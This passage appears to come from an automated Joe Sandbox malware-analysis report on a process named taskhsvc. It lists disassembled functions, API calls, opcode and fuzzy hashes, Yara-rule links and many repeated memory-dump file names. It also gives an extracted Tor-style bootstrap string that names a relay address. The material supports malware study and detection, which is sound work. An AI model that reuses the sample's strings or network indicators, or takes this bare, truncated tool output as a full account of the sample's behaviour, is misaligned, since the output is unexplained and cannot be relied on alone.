                                                                                                                          • Associated: 00000017.00000002.6587169531.0000000000E2C000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587315193.0000000000EBD000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587315193.0000000000EC2000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587386506.0000000000EC3000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587423157.0000000000EC8000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_23_2_be0000_taskhsvc.jbxd
                                                                                                                          Similarity
                                                                                                                          • API ID: __stack_chk_fail$strerror$_writefreestrlen
                                                                                                                          • String ID:
                                                                                                                          • API String ID: 1662648450-0
                                                                                                                          • Opcode ID: f592d1e685dfa579a94293be20412e3f74b8d5b338e5d8c5b86cd7214d2ca00e
                                                                                                                          • Instruction ID: ec452abe6338b6ffb2cf744e702086d1da629ad05c077c60c6c582a97862e49f
                                                                                                                          • Opcode Fuzzy Hash: f592d1e685dfa579a94293be20412e3f74b8d5b338e5d8c5b86cd7214d2ca00e
                                                                                                                          • Instruction Fuzzy Hash: 6A110770508741CFDB01EF65D58929DBBF0EF89354F10695CE095BB291C7789984CF22
                                                                                                                          Function 00CD314C Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 177COMMON
                                                                                                                          Download Yara Rule
                                                                                                                          APIs
                                                                                                                            • Part of subcall function 00C3F792: __stack_chk_fail.LIBSSP-0(?,?,?,?,?,00C26074), ref: 00C3F7B2
                                                                                                                            • Part of subcall function 00CD4037: __stack_chk_fail.LIBSSP-0(?,?,?,?,?,?,?,?,?,?,?,?,?,00C8B8B5), ref: 00CD408C
                                                                                                                            • Part of subcall function 00CD4093: __stack_chk_fail.LIBSSP-0(?,?,?,?,?,?,?,?,?,?,?,?,?,00C8B89E), ref: 00CD40C7
                                                                                                                            • Part of subcall function 00CD3B52: __stack_chk_fail.LIBSSP-0 ref: 00CD3C6E
                                                                                                                          • __stack_chk_fail.LIBSSP-0 ref: 00CD33E1
                                                                                                                          Strings
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000017.00000002.6585309875.0000000000CB0000.00000040.00000001.01000000.00000009.sdmp, Offset: 00BE0000, based on PE: true
                                                                                                                          • Associated: 00000017.00000002.6584175168.0000000000BE0000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584256064.0000000000BE1000.00000020.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584343407.0000000000BE9000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584424221.0000000000BEA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584607547.0000000000C45000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584691716.0000000000C48000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584788774.0000000000C4F000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584853132.0000000000C50000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584948136.0000000000C86000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585009017.0000000000C87000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585114448.0000000000CAB000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585177342.0000000000CAC000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585242660.0000000000CAD000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585450773.0000000000CF3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585517571.0000000000CF4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585582792.0000000000CF6000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585646727.0000000000CF7000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585713131.0000000000CF8000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585779653.0000000000CF9000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585835268.0000000000CFA000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585885424.0000000000CFC000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586034901.0000000000D68000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586179372.0000000000DDA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586235596.0000000000DE3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586287028.0000000000DE4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586324423.0000000000DE6000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586363827.0000000000DEA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586404302.0000000000DEC000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586441228.0000000000DEE000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586476691.0000000000DEF000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586513573.0000000000DF0000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586555035.0000000000DF3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586594320.0000000000DF4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586633729.0000000000DF8000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586670548.0000000000DF9000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586712043.0000000000E00000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586756626.0000000000E01000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586794125.0000000000E04000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586830084.0000000000E05000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586878445.0000000000E16000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586918291.0000000000E1E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586954865.0000000000E1F000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586987551.0000000000E20000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587024852.0000000000E22000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587058475.0000000000E23000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587095446.0000000000E25000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587133204.0000000000E2B000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587169531.0000000000E2C000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587315193.0000000000EBD000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587315193.0000000000EC2000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587386506.0000000000EC3000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587423157.0000000000EC8000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_23_2_be0000_taskhsvc.jbxd
                                                                                                                          Similarity
                                                                                                                          • API ID: __stack_chk_fail
                                                                                                                          • String ID: q
                                                                                                                          • API String ID: 4216919130-3439282599
                                                                                                                          • Opcode ID: f34372d65dbc2557962ff3fb0d514a503efa180cefde2248775c00b282247b08
                                                                                                                          • Instruction ID: 38380afbefa91b70f297897ee5a90e599c6101ff7054f67dd36960367fde619f
                                                                                                                          • Opcode Fuzzy Hash: f34372d65dbc2557962ff3fb0d514a503efa180cefde2248775c00b282247b08
                                                                                                                          • Instruction Fuzzy Hash: 0971E4B0D08249DFDB00EFA9C1856ADBBF0BB48304F10882AE9A4E7351D774DA45DF62
                                                                                                                          Function 00C28ADA Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 116COMMON
                                                                                                                          Download Yara Rule
                                                                                                                          APIs
                                                                                                                          Strings
                                                                                                                          • U, xrefs: 00C28B32
                                                                                                                          • WARN BOOTSTRAP PROGRESS=45 TAG=requesting_descriptors SUMMARY="Asking for relay descriptors for internal paths" WARNING="DONE" REASON=DONE COUNT=10 RECOMMENDATION=warn HOSTID="F2044413DAC2E02E3D6BCF4735A19BCA1DE97281" HOSTADDR="131.188.40.189:443", xrefs: 00C28C64
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000017.00000002.6584424221.0000000000BEA000.00000040.00000001.01000000.00000009.sdmp, Offset: 00BE0000, based on PE: true
                                                                                                                          • Associated: 00000017.00000002.6584175168.0000000000BE0000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584256064.0000000000BE1000.00000020.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584343407.0000000000BE9000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584607547.0000000000C45000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584691716.0000000000C48000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584788774.0000000000C4F000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584853132.0000000000C50000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584948136.0000000000C86000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585009017.0000000000C87000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585114448.0000000000CAB000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585177342.0000000000CAC000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585242660.0000000000CAD000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585309875.0000000000CB0000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585450773.0000000000CF3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585517571.0000000000CF4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585582792.0000000000CF6000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585646727.0000000000CF7000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585713131.0000000000CF8000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585779653.0000000000CF9000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585835268.0000000000CFA000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585885424.0000000000CFC000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586034901.0000000000D68000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586179372.0000000000DDA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586235596.0000000000DE3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586287028.0000000000DE4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586324423.0000000000DE6000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586363827.0000000000DEA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586404302.0000000000DEC000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586441228.0000000000DEE000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586476691.0000000000DEF000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586513573.0000000000DF0000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586555035.0000000000DF3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586594320.0000000000DF4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586633729.0000000000DF8000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586670548.0000000000DF9000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586712043.0000000000E00000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586756626.0000000000E01000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586794125.0000000000E04000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586830084.0000000000E05000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586878445.0000000000E16000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586918291.0000000000E1E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586954865.0000000000E1F000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586987551.0000000000E20000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587024852.0000000000E22000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587058475.0000000000E23000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587095446.0000000000E25000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587133204.0000000000E2B000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587169531.0000000000E2C000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587315193.0000000000EBD000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587315193.0000000000EC2000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587386506.0000000000EC3000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587423157.0000000000EC8000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_23_2_be0000_taskhsvc.jbxd
                                                                                                                          Similarity
                                                                                                                          • API ID: __stack_chk_fail
                                                                                                                          • String ID: U$WARN BOOTSTRAP PROGRESS=45 TAG=requesting_descriptors SUMMARY="Asking for relay descriptors for internal paths" WARNING="DONE" REASON=DONE COUNT=10 RECOMMENDATION=warn HOSTID="F2044413DAC2E02E3D6BCF4735A19BCA1DE97281" HOSTADDR="131.188.40.189:443"
                                                                                                                          • API String ID: 4216919130-2415534026
                                                                                                                          • Opcode ID: 1f0dd4b3f0c04462220d3cffcdc031f675293cb4ac3b605fd547bdf9d1c01597
                                                                                                                          • Instruction ID: c926cfc31156d25ca361add51f21b23255104b0c86ef79a87a6d0162738c0c2b
                                                                                                                          • Opcode Fuzzy Hash: 1f0dd4b3f0c04462220d3cffcdc031f675293cb4ac3b605fd547bdf9d1c01597
                                                                                                                          • Instruction Fuzzy Hash: F751A1B0906228CFDB20CF19E885699B7F0FB44304F40C9AAE668A7751D7749EC9CF59
                                                                                                                          Function 00E16A70 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 81memoryCOMMON
                                                                                                                          Download Yara Rule
                                                                                                                          APIs
                                                                                                                          Strings
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000017.00000002.6586878445.0000000000E16000.00000080.00000001.01000000.00000009.sdmp, Offset: 00BE0000, based on PE: true
                                                                                                                          • Associated: 00000017.00000002.6584175168.0000000000BE0000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584256064.0000000000BE1000.00000020.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584343407.0000000000BE9000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584424221.0000000000BEA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584607547.0000000000C45000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584691716.0000000000C48000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584788774.0000000000C4F000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584853132.0000000000C50000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584948136.0000000000C86000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585009017.0000000000C87000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585114448.0000000000CAB000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585177342.0000000000CAC000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585242660.0000000000CAD000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585309875.0000000000CB0000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585450773.0000000000CF3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585517571.0000000000CF4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585582792.0000000000CF6000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585646727.0000000000CF7000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585713131.0000000000CF8000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585779653.0000000000CF9000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585835268.0000000000CFA000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585885424.0000000000CFC000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586034901.0000000000D68000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586179372.0000000000DDA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586235596.0000000000DE3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586287028.0000000000DE4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586324423.0000000000DE6000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586363827.0000000000DEA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586404302.0000000000DEC000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586441228.0000000000DEE000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586476691.0000000000DEF000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586513573.0000000000DF0000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586555035.0000000000DF3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586594320.0000000000DF4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586633729.0000000000DF8000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586670548.0000000000DF9000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586712043.0000000000E00000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586756626.0000000000E01000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586794125.0000000000E04000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586830084.0000000000E05000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586918291.0000000000E1E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586954865.0000000000E1F000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586987551.0000000000E20000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587024852.0000000000E22000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587058475.0000000000E23000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587095446.0000000000E25000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587133204.0000000000E2B000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587169531.0000000000E2C000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587315193.0000000000EBD000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587315193.0000000000EC2000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587386506.0000000000EC3000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587423157.0000000000EC8000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_23_2_be0000_taskhsvc.jbxd
                                                                                                                          Similarity
                                                                                                                          • API ID: Virtual$ProtectQuery
                                                                                                                          • String ID: @
                                                                                                                          • API String ID: 1027372294-2766056989
                                                                                                                          • Opcode ID: bb2be391ca134514bbb01316c20b6b4ed7dc5f7124bd991c0e4316a6112884bf
                                                                                                                          • Instruction ID: 5dfb1f4a3d849310f5fd9c05e639987499aa7389990593e1648c493a330df8b2
                                                                                                                          • Opcode Fuzzy Hash: bb2be391ca134514bbb01316c20b6b4ed7dc5f7124bd991c0e4316a6112884bf
                                                                                                                          • Instruction Fuzzy Hash: 53315CB69047018FC710DF29D984A9AFBE0FB84354F499A2DE899E7250E731E885CB91
                                                                                                                          Function 00BFC9DC Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 70COMMON
                                                                                                                          Download Yara Rule
                                                                                                                          APIs
                                                                                                                            • Part of subcall function 00D33842: __stack_chk_fail.LIBSSP-0 ref: 00D338B7
                                                                                                                            • Part of subcall function 00C96C11: abort.MSVCRT ref: 00C96C61
                                                                                                                            • Part of subcall function 00C96C11: __stack_chk_fail.LIBSSP-0 ref: 00C96C85
                                                                                                                            • Part of subcall function 00C96D83: abort.MSVCRT ref: 00C96DD3
                                                                                                                            • Part of subcall function 00C96D83: __stack_chk_fail.LIBSSP-0 ref: 00C96DF7
                                                                                                                            • Part of subcall function 00D1ED64: abort.MSVCRT ref: 00D1EDC3
                                                                                                                            • Part of subcall function 00D1ED64: abort.MSVCRT ref: 00D1EE06
                                                                                                                            • Part of subcall function 00D1ED64: free.MSVCRT ref: 00D1EEC9
                                                                                                                          • free.MSVCRT ref: 00BFCB5D
                                                                                                                          • __stack_chk_fail.LIBSSP-0 ref: 00BFCB92
                                                                                                                          Strings
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000017.00000002.6584424221.0000000000BEA000.00000040.00000001.01000000.00000009.sdmp, Offset: 00BE0000, based on PE: true
                                                                                                                          • Associated: 00000017.00000002.6584175168.0000000000BE0000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584256064.0000000000BE1000.00000020.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584343407.0000000000BE9000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584607547.0000000000C45000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584691716.0000000000C48000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584788774.0000000000C4F000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584853132.0000000000C50000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584948136.0000000000C86000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585009017.0000000000C87000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585114448.0000000000CAB000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585177342.0000000000CAC000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585242660.0000000000CAD000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585309875.0000000000CB0000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585450773.0000000000CF3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585517571.0000000000CF4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585582792.0000000000CF6000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585646727.0000000000CF7000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585713131.0000000000CF8000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585779653.0000000000CF9000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585835268.0000000000CFA000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585885424.0000000000CFC000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586034901.0000000000D68000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586179372.0000000000DDA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586235596.0000000000DE3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586287028.0000000000DE4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586324423.0000000000DE6000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586363827.0000000000DEA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586404302.0000000000DEC000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586441228.0000000000DEE000.00000040.00000001.01000000.00000009.sdmpDownload File
